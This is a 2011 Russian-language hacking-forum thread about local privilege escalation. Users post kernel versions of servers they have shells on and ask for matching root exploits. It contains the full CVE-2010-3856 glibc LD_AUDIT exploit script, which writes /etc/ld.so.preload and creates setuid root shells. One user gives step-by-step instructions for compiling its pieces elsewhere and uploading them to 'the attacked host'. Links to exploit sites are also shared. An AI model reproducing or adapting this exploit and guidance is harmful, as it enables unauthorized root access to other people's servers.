повышение прав [задай вопрос - получи ответ]

Kuteke · 16 Sep 2011

sevenup said:

нету, прежде чем спрашивать полистай тему...нету сплойтов под ядра 2011 года
Click to expand...

Ошибаешся ^_^

sevenup · 16 Sep 2011

Kuteke said:

Ошибаешся ^_^
Click to expand...

Ну приведи примеры, раз я ошибаюсь!

antiaudomain · 16 Sep 2011

Code:

sh-3.2$ ln /bin/ping /var/tmp/exploit/target
ln: creating hard link `/var/tmp/exploit/target' to `/bin/ping': Invalid cross-device link


sh-3.2$ ls -la /lib/libc*;ls -la /lib/libpc*;ls -la /lib/libme*;df -h;
-rwxr-xr-x 1 root root 1693812 Apr  8 08:44 /lib/libc-2.5.so
lrwxrwxrwx 1 root root      11 Aug  4 13:25 /lib/libc.so.6 -> libc-2.5.so
-rwxr-xr-x 1 root root  191708 Apr  8 08:44 /lib/libcidn-2.5.so
lrwxrwxrwx 1 root root      14 Aug  4 13:25 /lib/libcidn.so.1 -> libcidn-2.5.so
lrwxrwxrwx 1 root root      17 Aug  4 13:25 /lib/libcom_err.so.2 -> libcom_err.so.2.1
-rwxr-xr-x 1 root root    6364 May  3 16:27 /lib/libcom_err.so.2.1
-rwxr-xr-x 1 root root   45432 Apr  8 08:44 /lib/libcrypt-2.5.so
lrwxrwxrwx 1 root root      15 Aug  4 13:25 /lib/libcrypt.so.1 -> libcrypt-2.5.so
-rwxr-xr-x 1 root root 1295616 May  4 05:38 /lib/libcrypto.so.0.9.8e
lrwxrwxrwx 1 root root      19 Aug  4 13:25 /lib/libcrypto.so.6 -> libcrypto.so.0.9.8e
lrwxrwxrwx 1 root root     16 Mar 10  2011 /lib/libpcre.so.0 -> libpcre.so.0.0.1
-rwxr-xr-x 1 root root 127760 Mar  1  2011 /lib/libpcre.so.0.0.1
ls: /lib/libme*: No such file or directory
Filesystem            Size  Used Avail Use% Mounted on
/dev/mapper/VolGroup00-root
                      4.8G  3.5G  1.1G  76% /
/dev/sda1             487M   31M  431M   7% /boot
tmpfs                 3.9G     0  3.9G   0% /dev/shm
/dev/sda3             487M   54M  409M  12% /tmp
/dev/mapper/VolGroup00-var
                      387G  316G   56G  86% /var

попугай · 17 Sep 2011

ядра 2005ого года чем рутаются?

SpaceMan · 18 Sep 2011

есть что нибудь на :
Linux version 2.6.18-194.26.1.el5.028stab081.1 (root@rhel5-build-x64) (gcc version 4.1.2 20080704 (Red Hat 4.1.2-46)) #1 SMP Thu Dec 23 20:17:23 MSK 2010

sevenup · 18 Sep 2011

попугай said:

ядра 2005ого года чем рутаются?
Click to expand...

http://www.1337day.com/

ядра начиная с 2001г.
Если не найдёшь, то кидай полную инфу о ядре

SpaceMan said:

есть что нибудь на :
Linux version 2.6.18-194.26.1.el5.028stab081.1 (root@rhel5-build-x64) (gcc version 4.1.2 20080704 (Red Hat 4.1.2-46)) #1 SMP Thu Dec 23 20:17:23 MSK 2010
Click to expand...

Нет.

pinch · 18 Sep 2011

есть что нибудь на:

Linux 2.6.35.9 #1 SMP Thu Dec 9 04:26:51 CET 2010 i686
Linux 2.6.18-238.12.1.el5 #1 SMP Tue May 31 13:22:04 EDT 2011

extrimportal · 19 Sep 2011

подсобите
OS: Linux 2.6.18-194.8.1.el5.028stab070.4 #1 SMP Tue Aug 17 19:11:52 MSD 2010 x86_64

infoseller · 19 Sep 2011

Linux server 2.6.18-238.19.1.el5 #1 SMP Fri Jul 15 07:31:24 EDT 2011 x86_64 подскажите что-нибудь, плиз...

Omelly · 20 Sep 2011

2 ресурса:
Code:
Linux 2.6.32.11-grsec #2 SMP Tue Apr 27 14:53:56 PDT 2010 i686
Code:
Darwin 10.8.0 Darwin Kernel Version 10.8.0: Tue Jun  7 16:32:41 PDT 2011; root:xnu-1504.15.3~1/RELEASE_X86_64 x86_64
подскажите пожалуйста что-нить по этим версиям.

попугай · 21 Sep 2011

2.6.18-194.11.3.el5PAE #1 SMP Mon Aug 30 17:02:48 EDT 2010 i686

Можно пробить чем-нибудь, кроме glibс? Для glibс, как я понимаю, нужен gcc, а его нет на сервере.

Tigger · 21 Sep 2011

попугай said:

2.6.18-194.11.3.el5PAE #1 SMP Mon Aug 30 17:02:48 EDT 2010 i686

Можно пробить чем-нибудь, кроме glibс? Для glibс, как я понимаю, нужен gcc, а его нет на сервере.
Click to expand...

Для Glibc нужен один милипиздришный бинарник, который скомпилируется на любом шелле с Gcc.

попугай · 21 Sep 2011

Tigger said:

Для Glibc нужен один милипиздришный бинарник, который скомпилируется на любом шелле с Gcc.
Click to expand...

Не понимаю, как Glibc-експлоит можно запустить без gcc? Сам эксплоит основан на компиляции же.
Вот к примеру.

PHP:

#!/bin/bash # CVE-2010-3856 # Author: deadbyte OUTPUT=/etc/ld.so.preload MASK=`umask` umask 0 LD_AUDIT="libmemusage.so" MEMUSAGE_OUTPUT="$OUTPUT" ping 2> /dev/null if [ ! -f $OUTPUT ]; then echo "System does not appear to be vulnerable" exit 0 fi echo -n > $OUTPUT umask $MASK cat > exec.c << EOF #include <stdio.h> #include <stdlib.h> main(int argc, char *argv[]) { if(argc == 2) { setgid(0); setuid(0); system(argv[1]); } return 0; } EOF gcc exec.c -o exec cat > sh.c << EOF #include <unistd.h> #include <stdio.h> #include <stdlib.h> int main () { setuid(geteuid()); setgid(getegid()); execl("/bin/sh", "bin/sh","-c", "cp ./exec ./exec2; chown root ./exec2; chgrp root ./exec2; chmod 755 ./exec2; chmod +s ./exec2;", NULL); return 0; } EOF gcc sh.c -o sh cat > libpwn.c << EOF #include <sys/stat.h> #include <unistd.h> uid_t getuid (void) { chown("$PWD/sh", 0, 0); chmod("$PWD/sh", S_ISUID|S_IRUSR|S_IWUSR|S_IXUSR|S_IRGRP|S_IXGRP|S_IROTH|S_IXOTH); return 0; } EOF gcc -Wall -fPIC -c libpwn.c gcc -shared -Wl,-soname,libpwn.so -o libpwn.so libpwn.o echo "$PWD/libpwn.so" > $OUTPUT ping 2> /dev/null echo -n > $OUTPUT ./sh

В этом bash-скрипте происходит вызов gcc sh.c -o sh

Tigger · 21 Sep 2011

попугай said:

Не понимаю, как Glibc-експлоит можно запустить без gcc? Сам эксплоит основан на компиляции же.
Вот к примеру.

PHP:

#!/bin/bash # CVE-2010-3856 # Author: deadbyte OUTPUT=/etc/ld.so.preload MASK=`umask` umask 0 LD_AUDIT="libmemusage.so" MEMUSAGE_OUTPUT="$OUTPUT" ping 2> /dev/null if [ ! -f $OUTPUT ]; then   echo "System does not appear to be vulnerable"   exit 0 fi echo -n > $OUTPUT umask $MASK cat > exec.c << EOF #include <stdio.h> #include <stdlib.h> main(int argc, char *argv[]) { if(argc == 2) { setgid(0); setuid(0); system(argv[1]); } return 0; } EOF gcc exec.c -o exec cat > sh.c << EOF #include <unistd.h> #include <stdio.h> #include <stdlib.h> int main () {   setuid(geteuid());   setgid(getegid());   execl("/bin/sh", "bin/sh","-c", "cp ./exec ./exec2; chown root ./exec2; chgrp root ./exec2; chmod 755 ./exec2; chmod +s ./exec2;", NULL);   return 0; } EOF gcc sh.c -o sh cat > libpwn.c << EOF #include <sys/stat.h> #include <unistd.h> uid_t getuid (void) {   chown("$PWD/sh", 0, 0);   chmod("$PWD/sh", S_ISUID|S_IRUSR|S_IWUSR|S_IXUSR|S_IRGRP|S_IXGRP|S_IROTH|S_IXOTH);   return 0; } EOF gcc -Wall -fPIC -c libpwn.c gcc -shared -Wl,-soname,libpwn.so -o libpwn.so libpwn.o echo "$PWD/libpwn.so" > $OUTPUT ping 2> /dev/null echo -n > $OUTPUT ./sh

В этом bash-скрипте происходит вызов gcc sh.c -o sh
Click to expand...

1. Компилируешь бинарники на другой тачке
2. Меняешь башик примерно таким образом:

PHP:

#!/bin/bash # CVE-2010-3856 # Author: deadbyte    OUTPUT=/etc/ld.so.preload    MASK=`umask` umask 0 LD_AUDIT="libmemusage.so" MEMUSAGE_OUTPUT="$OUTPUT" ping 2> /dev/null if [ ! -f $OUTPUT ]; then   echo "System does not appear to be vulnerable"   exit 0 fi echo -n > $OUTPUT umask $MASK    echo "$PWD/libpwn.so" > $OUTPUT ping 2> /dev/null echo -n > $OUTPUT ./sh

Т.е. на другой тачке создай 3 файла:
1. exec.c

PHP:

#include <stdio.h> #include <stdlib.h> main(int argc, char *argv[]) { if(argc == 2) { setgid(0); setuid(0); system(argv[1]); } return 0; }

2. sh.c

PHP:

#include <unistd.h> #include <stdio.h> #include <stdlib.h> int main () {   setuid(geteuid());   setgid(getegid());   execl("/bin/sh", "bin/sh","-c", "cp ./exec ./exec2; chown root ./exec2; chgrp root ./exec2; chmod 755 ./exec2; chmod +s ./exec2;", NULL);   return 0; }

3. libpwn.c

PHP:

#include <sys/stat.h> #include <unistd.h> uid_t getuid (void) {   chown("$PWD/sh", 0, 0);   chmod("$PWD/sh", S_ISUID|S_IRUSR|S_IWUSR|S_IXUSR|S_IRGRP|S_IXGRP|S_ IROTH|S_IXOTH);   return 0; }

Вместо $PWD впиши каталог, в котором будешь выполнять все это на атакуемой тачке, к примеру /tmp.
Затем выполни команды:
1. gcc exec.c -o exec
2. gcc sh.c -o sh
3. gcc -Wall -fPIC -c libpwn.c
4. gcc -shared -Wl,-soname,libpwn.so -o libpwn.so libpwn.o

И все файлы, полученные на выходе, залей на атакуемый хост рядом с своим баш скриптиком.

попугай · 21 Sep 2011

Tigger said:

1. Компилируешь бинарники на другой тачке
2. Меняешь башик примерно таким образом:

PHP:

#!/bin/bash # CVE-2010-3856 # Author: deadbyte    OUTPUT=/etc/ld.so.preload    MASK=`umask` umask 0 LD_AUDIT="libmemusage.so" MEMUSAGE_OUTPUT="$OUTPUT" ping 2> /dev/null if [ ! -f $OUTPUT ]; then   echo "System does not appear to be vulnerable"   exit 0 fi echo -n > $OUTPUT umask $MASK    echo "$PWD/libpwn.so" > $OUTPUT ping 2> /dev/null echo -n > $OUTPUT ./sh

Т.е. на другой тачке создай 3 файла:
1. exec.c

PHP:

#include <stdio.h> #include <stdlib.h> main(int argc, char *argv[]) { if(argc == 2) { setgid(0); setuid(0); system(argv[1]); } return 0; }

2. sh.c

PHP:

#include <unistd.h> #include <stdio.h> #include <stdlib.h> int main () {   setuid(geteuid());   setgid(getegid());   execl("/bin/sh", "bin/sh","-c", "cp ./exec ./exec2; chown root ./exec2; chgrp root ./exec2; chmod 755 ./exec2; chmod +s ./exec2;", NULL);   return 0; }

3. libpwn.c

PHP:

#include <sys/stat.h> #include <unistd.h> uid_t getuid (void) {   chown("$PWD/sh", 0, 0);   chmod("$PWD/sh", S_ISUID|S_IRUSR|S_IWUSR|S_IXUSR|S_IRGRP|S_IXGRP|S_ IROTH|S_IXOTH);   return 0; }

Вместо $PWD впиши каталог, в котором будешь выполнять все это на атакуемой тачке, к примеру /tmp.
Затем выполни команды:
1. gcc exec.c -o exec
2. gcc sh.c -o sh
3. gcc -Wall -fPIC -c libpwn.c
4. gcc -shared -Wl,-soname,libpwn.so -o libpwn.so libpwn.o

И все файлы, полученные на выходе, залей на атакуемый хост рядом с своим баш скриптиком.
Click to expand...

Спасибо, что разжевал все.

Жалко, что
System does not appear to be vulnerable

Запатчено типа?

C-r-A-c-K · 22 Sep 2011

знатоки, подскажите пожалуйста сплоит на
FreeBSD 7.3-RELEASE-p2 FreeBSD 7.3-RELEASE-p2 #0: Mon Jul 12 19:23:19 UTC 2010 [email protected]:/usr/obj/usr/src/sys/GENERIC amd64

shell_c0de · 22 Sep 2011

2C-r-A-c-K пробуй http://www.attackvector.org/freebsd-8-7-local-root-exploit/?utm_source=feedburner&utm_medium=twitter&utm_campaign=Feed%3A+attackvector+%28Attack+Vector%29

C-r-A-c-K · 22 Sep 2011

shell_c0de, в консоли (порта 7030) получаю циклический набор символов, в итоге nc вылетает

ginzon · 22 Sep 2011

под это есть что>?

Linux 2.6.18-194.8.1.el5 #1 SMP Thu Jul 1 19:04:48 EDT 2010 x86_64

MisterGood · 22 Sep 2011

Помогите под этот найти:
Linux 2.6.32-71.29.1.el6.x86_64 #1 SMP Mon Jun 27 19:49:27 BST 2011 x86_64 x86_64 x86_64 GNU/Linux

повышение прав [задай вопрос - получи ответ]

Kuteke Banned

sevenup Member

antiaudomain Banned

попугай Elder - Старейшина

SpaceMan New Member

sevenup Member

pinch Elder - Старейшина

extrimportal Member

infoseller Member

Omelly New Member

попугай Elder - Старейшина

Tigger Elder - Старейшина

попугай Elder - Старейшина

Tigger Elder - Старейшина

попугай Elder - Старейшина

C-r-A-c-K New Member

shell_c0de Hack All World

C-r-A-c-K New Member

ginzon New Member

MisterGood New Member

Useful Searches

повышение прав [задай вопрос - получи ответ]

Kuteke Banned

sevenup Member

antiaudomain Banned

попугай Elder - Старейшина

SpaceMan New Member

sevenup Member

pinch Elder - Старейшина

extrimportal Member

infoseller Member

Omelly New Member

попугай Elder - Старейшина

Tigger Elder - Старейшина

попугай Elder - Старейшина

Tigger Elder - Старейшина

попугай Elder - Старейшина

C-r-A-c-K New Member

shell_c0de Hack All World

C-r-A-c-K New Member

ginzon New Member

MisterGood New Member